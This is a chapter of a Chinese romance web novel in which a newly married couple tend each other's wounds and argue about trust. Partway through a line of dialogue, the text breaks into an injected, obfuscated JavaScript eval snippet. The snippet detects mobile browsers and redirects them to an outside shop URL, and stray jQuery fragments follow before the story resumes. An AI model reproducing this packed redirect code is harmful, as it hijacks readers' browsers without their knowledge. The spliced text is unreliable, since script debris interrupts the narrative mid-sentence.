默认冷灰
24号文字
方正启体

18. 上药

作者:葡萄荔枝饮本书字数:K更新时间:
    年雪朝□□的趴在地上,与商凛四目相对,没等这人开口,她一把捂住他的眼,威胁道:“我去换衣袍,你不许偷看!”


    时隔两天,年雪朝又穿上商凛的睡袍,一来二去熟练不少。


    见跪在地上那人紧闭双眼,耳尖通红,年雪朝起了逗弄的心思,她轻手轻脚的绕道商凛身后,本想吓他一下,可只刚刚靠近,手腕却猛地被人攥住,下一秒,那双手反手一拽,将她扣在地上。


    “嘶——”年雪朝吃痛的哀嚎,这人怎的这么开不起玩笑,她本想看看一向端着架子的商凛被人吓了还能不能保持这一身傲骨,可被她这么一摔,她只觉得自己的骨头快要断了。


    见年雪朝背上的鞭伤撕裂,渗出血来,商凛眉头陡然皱起来,他慌乱的想要将人扶起,可腰上的旧疾叫他直不起身子来。


    平日里,遭人暗算的多了,他这下意识的反应,竟是没收住。


    “对不住。”商凛罕见的道了歉:“我帮你上药吧。”


    这人第一次道歉,磕磕绊绊的,也不会说什么哄人的话,年雪朝抬起头看他,对上这人略显无措的眼,她没了脾气。


    “就你这样还给我上药,还是我先给你上药吧。”


    年雪朝从地上爬起来,把商凛扶到榻边倚着,拍拍屁股上的灰,转身去小厨房拿来她的小药箱。


    见她胡乱坐在他身前翻箱倒柜,商凛这口气才得以松下来,巡风昨夜把他耳朵都要念叨出茧子来,教了他一大推夫妻之道,他就纳了闷了,他又不曾娶妻,怎的就懂得这样多,看来平日里训练定是没少偷懒。


    可学会服软道歉这一招,倒是极为有用。


    见商凛眸子空洞,嘴角上扬,年雪朝拿着纱布和碘酒吓了个一激灵,这人莫不是撞邪了?


    “把衣服脱了。”年雪朝道。


    商凛回过神来,见她这架势,有些心虚的向后躲躲,他怎么觉着她这气并未消呢,看那止不住窃喜的嘴角,他只觉得后背发凉,伸手抢着碘酒。


    “我还是自己来罢……”


    年雪朝将碘酒举得高高的,皱皱眉看向这人一脸不情愿的样子,在三秒之内做出了判断,她上下打量他一番,颇有地痞流氓的阵势:


    “你莫不是,不好意思在我面前光着身子吧。”


    商凛冷笑一声,他一个男子汉大丈夫,又不像她一个小女娘,扭扭捏捏的,不就是裸着上身么,前些年在战场上,他没少受伤,身上敷的药,没有成千也有上百,光着膀子都是常事。


    还没等他开口,面前这人笑的开怀,放下手里的东西,就贼兮兮的朝他扑过来,双手攀上他的肩颈,作势要将她扒个干净。


    “姜之桃!”商凛慌乱开口,可身上的衣袍却被这人眼急手快的扒下来,她冰凉的手擦过他的胸膛,激起他一瞬颤栗,商凛猛地扣住她的手腕,冷声道:“你这人到底知不知羞的。”


    看来巡风的话都是屁话,他的服软只会带来这人的变本加厉。


    她方才哪里是饶恕他了,分明是又想了什么鬼点子要来折磨他,她阅人无数,将那么多男人都玩弄与股掌间,想必这一身手段多的很,他绝不会上她的当。


    年雪朝眸子一亮,忍不住啧啧两声:“这胸肌紧实的很呐,竟比谢十堰的还要好看。”


    想着想着,她这嘴皮子一秃噜,把心里话全说出来了。


    完了,年雪朝看着这人胸膛前升起的红晕,只觉大事不妙,当即想要逃,手腕却被这人攥的紧紧的。


    一时间,她占了下风。


    商凛也不说话,就这么看着她,年雪朝手被他拽着,跑也跑不掉,想死的心都有了。


    “那个,你听我解释成不?”年雪朝说。


    商凛盯着她,一字一句道:“那本君倒是听听,夫人是在什么样的情形下,可以看到别的男人的……胸肌。”


    心咯噔一声,彻底砸在地上,年雪朝欲哭无泪,这人每次一叫她夫人总没好事,上一次,还是在深林抓她私奔的时候。


    看到谢十堰的胸肌,那也都是好几年前的事儿了,那时候他跟着她在军队行医,被敌军的箭擦破了胳膊,情急之下,她没顾上别的,直接在军营就给这人衣袍扯下大半,包扎伤口。


    可这实话能说吗?自然是不能。


    她现在一个丞相之女,大家闺秀,如何去过战场。


    年雪朝心虚一笑,恍然想起上次拉谢十堰垫背的事,忙道:“你还记得前几日你问我如何知晓乌毒吗?就是那次,我在茶馆救谢十堰的时候,情急之下就给他……衣服扒了。”


    商凛冷哼一声,似是被气笑了,年雪朝赶忙举起三个指头发誓:“我保证,我当时就是医者仁心,一心只想救人……”


    “医者仁心盯着人家的胸膛看,还能看出来紧不紧实?”商凛挑挑眉道。


    年雪朝被这人的话噎住,说也不是,不说也不是。


    商凛握着她的腕间往前一拽,她的掌心猛地贴上他的胸膛,对上她震惊又狐疑的眼神,商凛淡淡道:“不是要给我上药么?来吧。”


    年雪朝回过神来,木讷的点点头,低头慌乱的拿起纱布和碘酒,在抬眼,商凛已经乖乖转身,坐好等她。


    行医这么多年,就算是在战场上断胳膊少个腿的,她都能面不改色心不跳,可今日不知是怎的,拿着纱布的手一直抖,尤其是看着他满背青紫,她这心里竟有些酸酸的,当真是奇怪。


    见身后这人半晌不吭声,没有动作,商凛一愣,莫不是刚才那番质问吓到她了罢。


    可是她不忠不义,满口污言秽语在前,算了,见年雪朝手抖成筛子,他叹了口气,似是妥协,犹豫许久才道:“想看,爱看,以后只许看本君的。”


    年雪朝一怔,才反应过来这人说的是什么,咻一下红了脸,她将浸透碘酒的纱布猛地覆上他的后背。


    只听商凛闷哼一声,痛弯了腰。


    这一刻,他确信,这女人,没消气,而且,报复心极重!


    敷完药,商凛拉上袍子,堪堪挂在身上,虽然有些别扭,但倒也没什么不好意思的,他既娶了她,便同她是一家人了,他的家业,他的功名,甚至是身体,都有她的一份,这些他在娶亲前就已经考虑清楚了。


    虽然,他这新妇不似他原先想的那般知书达理,大家闺秀,好在心肠良善,她在他身边,没什么威胁。


    只是她那父亲,却不是个善茬,倘若有朝一日,她的父亲死在他手里,那她还会站在他这边么,他心里没谱。


    年雪朝将碘酒放回药箱,却被商凛拦住,她抬眼看他,“是哪里还有伤吗?”


    他看了她一眼,道:“你背上的伤口裂开了,得重新上药。”


    年雪朝有些不知所措的干咳两声,略显尴尬道:“我没事,不急,一会儿让翠玉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16991538|193734||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来就成。”


    商凛却没顺着她的意,将药箱里的碘酒拿出来,扯着她的胳膊给她转了向,她背对着他,听着碘酒开盖声,心里发怵。


    坏了,他莫不是嫌她刚才下手重,来报复她来了吧。


    身上松垮的睡袍,被他从身后轻轻一扯,咻的滑下去,她撑着两个胳膊将衣袍环在胸前,露出整个后背。


    见年雪朝很是不自在,商凛轻笑:“刚才你也看了我的,不亏。”


    他如今才发现,他这夫人,就只会说大话,平日里小打小闹玩的欢,可真要做点什么,瞬间就熄火了。


    “那能一样吗?”年雪朝冷哼一声,紧了紧衣袍,又道:“如今我们已经成亲了,你是我的人,我当然想看就能看,但话又说回来,你们大男人家的,得懂得爱护自己的妻子,尊重妻子意愿,若我不愿,你是不能轻举妄动的,懂吗?”


    见身后那人没有言语,年雪朝有些心虚,毕竟这番强词夺理连她自己都觉得有些荒谬了,她倒也不是没想过婚后的那些事,想要坐稳首辅夫人的位子,想要拿捏住他的心,总是要牺牲些什么的,更何况,他人虽坏,但模样生的是极好的,行房事这种事,她倒是也不亏。


    在心里鼓足勇气,她正要回头辩解,就听身后那人淡淡道:“本君觉得,夫人言之有理。”


    年雪朝还未反应过来,后背传来纱布裹着碘酒的凉意,身上的衣袍被商凛用力拉上肩,他淡淡道:“你放心,你若不愿,本君不会碰你。”


    他这话说的体面的当,又不失风度,可只有他自己知道,这番话,虚伪至极。


    他不碰她,只是因为,他这样流浪的人,连自己的心都没安顿下来,又哪来的底气给别人一个家,更别把罢心交出去。


    “你背上的伤,哪来的?”年雪朝打断他的思绪,他垂眸,对上她的眼,又瞥开视线。


    “不小心摔的。”商凛并不想让她知道过多,知道的越多越危险,她那样只会逞嘴皮之能的胆小鬼,还是老老实实待在府里度完一生为好。


    “胡扯!”年雪朝皱眉看他,这伤她自幼在宫里见惯了:“你这是受廷杖之刑所致。”


    商凛抬眼看她,似是没想到她懂得这些:“你心里既然有答案,又何必来问我。”


    “我想听你亲口告诉我。”年雪朝抚上他垂在身侧的手:“如今我们是夫妻了,夫妻之间本就是要互帮互助的,你有什么麻烦事,尽管告诉我,我们是一体的,我可以帮你分担的。”


    天暗下去,商凛不动声色地将手抽离,起身去点烛火。


    半晌才道:“本君说过,不需要。”


    一路走来,独行惯了,一个人呆久了,便也不习惯与人打交道了。


    火苗窜上烛台,屋内升起光亮。


    年雪朝这人是刨根问底的性子,不见棺材不落泪,向来如此,商凛百般瞒她,定是有什么大问题。


    她起身绕过烛台,没等那人回头,先一步抱上他的后腰,硬是挤出几滴眼泪来。


    相处这段时日,她也发现了,商凛这人跟她还挺像,吃软不吃硬。


    她见不得翠玉哭,商凛见不得她哭,每次只要她表忠心,服个软,哭哭鼻子,他总能顺着她来。


    年雪朝伸手熄了烛火,在黑夜中挤出几滴眼泪来。


    “商凛,你如此防着我,是不是因为,你对我,没有半分真感情。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)